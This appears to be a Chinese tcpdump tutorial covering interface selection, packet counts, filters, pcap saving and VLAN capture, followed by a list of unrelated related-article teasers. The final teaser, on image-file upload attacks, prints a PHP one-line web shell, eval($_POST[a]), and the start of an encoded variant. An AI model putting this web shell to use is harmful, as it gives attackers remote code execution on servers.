TCPDump 使用教程

       每次服务器网络不通的时候,总会听到一个声音,你去抓包啊,那这里就来介绍下TCPDump,一款强大的网络分析工具,可以捕获网络上的数据包,并进行分析。这款工具在网络管理员和安全专家中非常受欢迎。

一、安装 TCPDump

在大多数 Linux 发行版中,TCPDump 已经预装在系统中。如果你的系统中没有安装,可以使用包管理器进行安装。

对于基于 Debian 的系统(如 Ubuntu),可以使用以下命令安装:

apt-get update
apt-get install tcpdump


对于基于 RPM 的系统(如 CentOS),可以使用以下命令安装:

yum update
yum install tcpdump


二、基本用法

要开始捕获数据包,只需在终端中输入 tcpdump 命令。不过,如果不加任何参数,TCPDump 会捕获所有接口上的所有数据包,这通常会产生大量的输出。因此,通常我们会使用一些参数来限制捕获的数据。

1、指定网络接口

使用 -i 参数来指定一个网络接口:

[root@localhost ~]# tcpdump -i eth1
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 262144 bytes
20:10:58.590695 IP 10.115.0.110.pipe_server > 255.255.255.255.servserv: UDP, length 369
20:10:58.590869 IP 0.0.0.0.bootpc > 255.255.255.255.bootps: BOOTP/DHCP, Request from 66:96:66:66:66:66 (oui Unknown), length 548
20:10:58.598864 IP 10.115.0.110.pipe_server > 255.255.255.255.servserv: UDP, length 409

这个命令会捕获在 eth1 接口上的所有数据包。

2、解析

第一个数据包:

时间戳:20:10:58.590695
源 IP 地址和端口:10.115.0.110.pipe_server
目的 IP 地址和端口:255.255.255.255.servserv
协议:UDP
数据长度:369 字节
解析:这是一个 UDP 数据包,从 IP 地址 10.115.0.110 发送到广播地址 255.255.255.255。源端口被解析为 pipe_server,目的端口被解析为 servserv。这可能是一个服务发现或配置广播。
第二个数据包:

时间戳:20:10:58.590869
源 IP 地址和端口:0.0.0.0.bootpc
目的 IP 地址和端口:255.255.255.255.bootps
协议:BOOTP/DHCP
请求:来自 MAC 地址 66:96:66:66:66

3、捕获特定数量的数据包

使用 -c 参数来指定要捕获的数据包数量:

tcpdump -c 10 -i eth0

这个命令会捕获在 eth0 接口上的前10个数据包。


4、使用过滤器

TCPDump 允许使用过滤器来限制捕获的数据包。可以只捕获特定端口的数据包 port 9999 :

-nn:这个选项告诉 TCPDump 不要解析主机名(第一个 n)和端口名(第二个 n)。也就是说,它会显示 IP 地址和端口号,而不是尝试将它们解析为主机名和服务名。这可以减少查找和显示时间,特别是在 DNS 响应慢或不可用时。

-v:这个选项增加了输出的详细程度。它会显示更多的包头信息,例如在 IP 层,它会显示服务类型(TOS)、总长度和标识等信息。

-e:这个选项告诉 TCPDump 在输出的每一行中包含数据链路层的头部信息,例如源 MAC 地址和目的 MAC 地址

[root@localhost ~]# tcpdump -nnve -i eth1 -c 1 port 9999
tcpdump: listening on eth1, link-type EN10MB (Ethernet), capture size 262144 bytes
20:16:13.153123 fe:fc:fe:5e:fd:0c > 9c:3a:9a:af:53:d9, ethertype IPv4 (0x0800), length 74: (tos 0x0, ttl 64, id 34804, offset 0, flags [DF], proto TCP (6), length 60)10.115.20.110.35838 > 93.205.23.98.9999: Flags [S], cksum 0x943e (incorrect -> 0x861d), seq 3473184019, win 29200, options [mss 1460,sackOK,TS val 2444563175 ecr 0,nop,wscale 7], length 0
1 packet captured
2 packets received by filter
0 packets dropped by kernel

这个数据包是一个 TCP 连接请求,从源主机 10.115.20.110 的端口 35838 发送到目的主机 93.205.23.98 的端口 9999。由于这是一个 SYN 包,它是 TCP 三次握手过程中的第一步,用于建立两个主机之间的连接。

过滤器的其他用法:

ip:只捕获 IP 数据包。
arp:只捕获 ARP 请求和响应。
icmp:只捕获 ICMP 数据包

src:只捕获来自指定源的数据包。
dst:只捕获发送到指定目的地的数据包。
src or dst:捕获来自指定源或发送到指定目的地的数据包。
src and dst:捕获同时满足指定源和目的地的数据包

5、保存和读取捕获的数据包

这个很重要,抓到包之后,可以把这个保存下来,扔给开发脸上,来你要的包,,最最重要的是保存下来之后,可以下载到本地,用wirshark来分析
使用 -w 参数来保存捕获的数据包到一个文件中:

tcpdump -w packets.pcap -i eth1 -c 50



6、高级用法

捕获特定类型的数据包可以指定协议来捕获特定类型的数据包,例如 ICMP、TCP 或 UDP:

tcpdump icmp -i eth0
tcpdump tcp -i eth0
tcpdump udp -i eth0

当然也可以组合过滤器,使用 and、or 和 not 来组合过滤器,例如:

tcpdump -i any 'tcp src port 80 and src host 192.168.1.1'

捕获源 IP 为 192.168.1.1 且端口为 80 的 TCP 数据包。


7、使用 VLAN 过滤器

如果你的网络使用了 VLAN,你可以使用 vlan 关键字来捕获特定 VLAN 的数据包:

tcpdump -i eth0 vlan 100

这个命令会捕获在 eth0 接口上所有 VLAN ID 为 100 的数据包。

三、后言

TCPDump 是一个非常强大的工具,教程只是介绍了它的一些基本用法。要充分利用这个工具,需要对网络协议有深入的了解,并且熟悉 TCPDump 的高级过滤器语法,才能够更有效地使用 TCPDump 来监控和分析你的网络。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/511091.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java解决杨辉三角

Java解决杨辉三角 01 题目 给定一个非负整数 *numRows,*生成「杨辉三角」的前 numRows 行。 在「杨辉三角」中,每个数是它左上方和右上方的数的和。 示例 1: 输入: numRows 5 输出: [[1],[1,1],[1,2,1],[1,3,3,1],[1,4,6,4,1]]示例 2: 输入: numRo…

不同控制方式下的无人机二维码识别降落对比

无人机技术的快速发展正在推动众多行业的革新,从农业监测、灾害响应到城市规划和物流配送,无人机的应用前景无限广阔。随着应用场景的多样化,无人机精准降落成为一大挑战。基于PX4飞控固件和ROS系统的开源自主无人机平台Prometheus应运而生。…

15-注册中心-自研微服务框架

注册中心 前面我们实现了RPC,但是大家知道服务都是集群化部署的,那么客户端在连接服务端的时候,到底该选择哪一个服务器呢? 这时候我们就需要注册中心的帮助了。 1. nacos 1.1 注册服务 package registerimport ("github.c…

如何用Elementor创建WordPress会员网站

在下面的文章中,我们将向您展示如何使用Elementor和MemberPress在WordPress中轻松构建会员网站。这篇文章将涵盖WordPress会员网站设置过程、会员资格和受保护内容创建、重要页面和登录表单设计、电子邮件通知管理、报告等。 目录 什么是WordPress会员网站&#x…

「滚雪球学Java」:JDBC(章节汇总)

🏆本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,助你一臂之力,带你早日登顶🚀,欢迎大家关注&&收藏!持续更新中,up!up!up!&#xf…

【AI视野·今日NLP 自然语言处理论文速览 第八十期】Fri, 1 Mar 2024

AI视野今日CS.NLP 自然语言处理论文速览 Fri, 1 Mar 2024 Totally 67 papers 👉上期速览✈更多精彩请移步主页 Daily Computation and Language Papers Loose LIPS Sink Ships: Asking Questions in Battleship with Language-Informed Program Sampling Authors G…

S4---FPGA-K7板级原理图硬件实战

视频链接 FPGA-K7板级系统硬件实战01_哔哩哔哩_bilibili FPGA-K7板级原理图硬件实战 基于XC7K325TFFG900的FPGA硬件实战框图 基于XILINX 的KINTEX-7 芯片XC7K325FPGA的硬件平台,FPGA 开发板挂载了4 片512MB 的高速DDR3 SDRAM 芯片,另外板上带有一个SODIM…

[喵咪大数据]Presto查询引擎

如果大家正在按照笔者的教程尝试使用大数据组件还是之前有使用过相关的组件,大家会发现一个问题HIVE在负责的查询下调用Mapreduce会很慢,在这个场景下就涌现出很多查询引擎来优化,比如大家熟悉的Spark-SQL,Impala,kilin已经今天的主角Presto, Presto以速度和极强的扩展性取得了…

计网面试题整理上

1. 计算机网络的各层协议及作用? 计算机网络体系可以大致分为一下三种,OSI七层模型、TCP/IP四层模型和五层模型。 OSI七层模型:大而全,但是比较复杂、而且是先有了理论模型,没有实际应用。TCP/IP四层模型&#xff1a…

ABAP - 二代增强(Customer Exit)

二代增强是基于系统预留好的Function修改实现对标准功能拓展的方式二代增强分为4类: E类增强.:Function Exits:图中可以看到Function Exits以函数模块形式发布,使用 CALL CUSTOMER-FUNCTION 3位数字 ,3位数字是被调用的函数代码&…

【Docker】Windows11操作系统下安装、使用Docker保姆级教程

【Docker】Windows11操作系统下安装、使用Docker保姆级教程 大家好 我是寸铁👊 总结了一篇【Docker】Windows11操作系统下安装、使用Docker保姆级教程的文章✨ 喜欢的小伙伴可以点点关注 💝 前言 什么是 Docker? Docker 是一个开源平台&…

文件上传之图片马

图片马介绍 图片马&#xff1a;就是在正常图片中插入木马。 图片马的制作 1.我们先创建php木马文件1.php&#xff0c;内容有以下两种方式&#xff1a; <?php eval($_POST[a]); ?> /* 常规一句话木马 */ <?php $aPD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8; $myfile…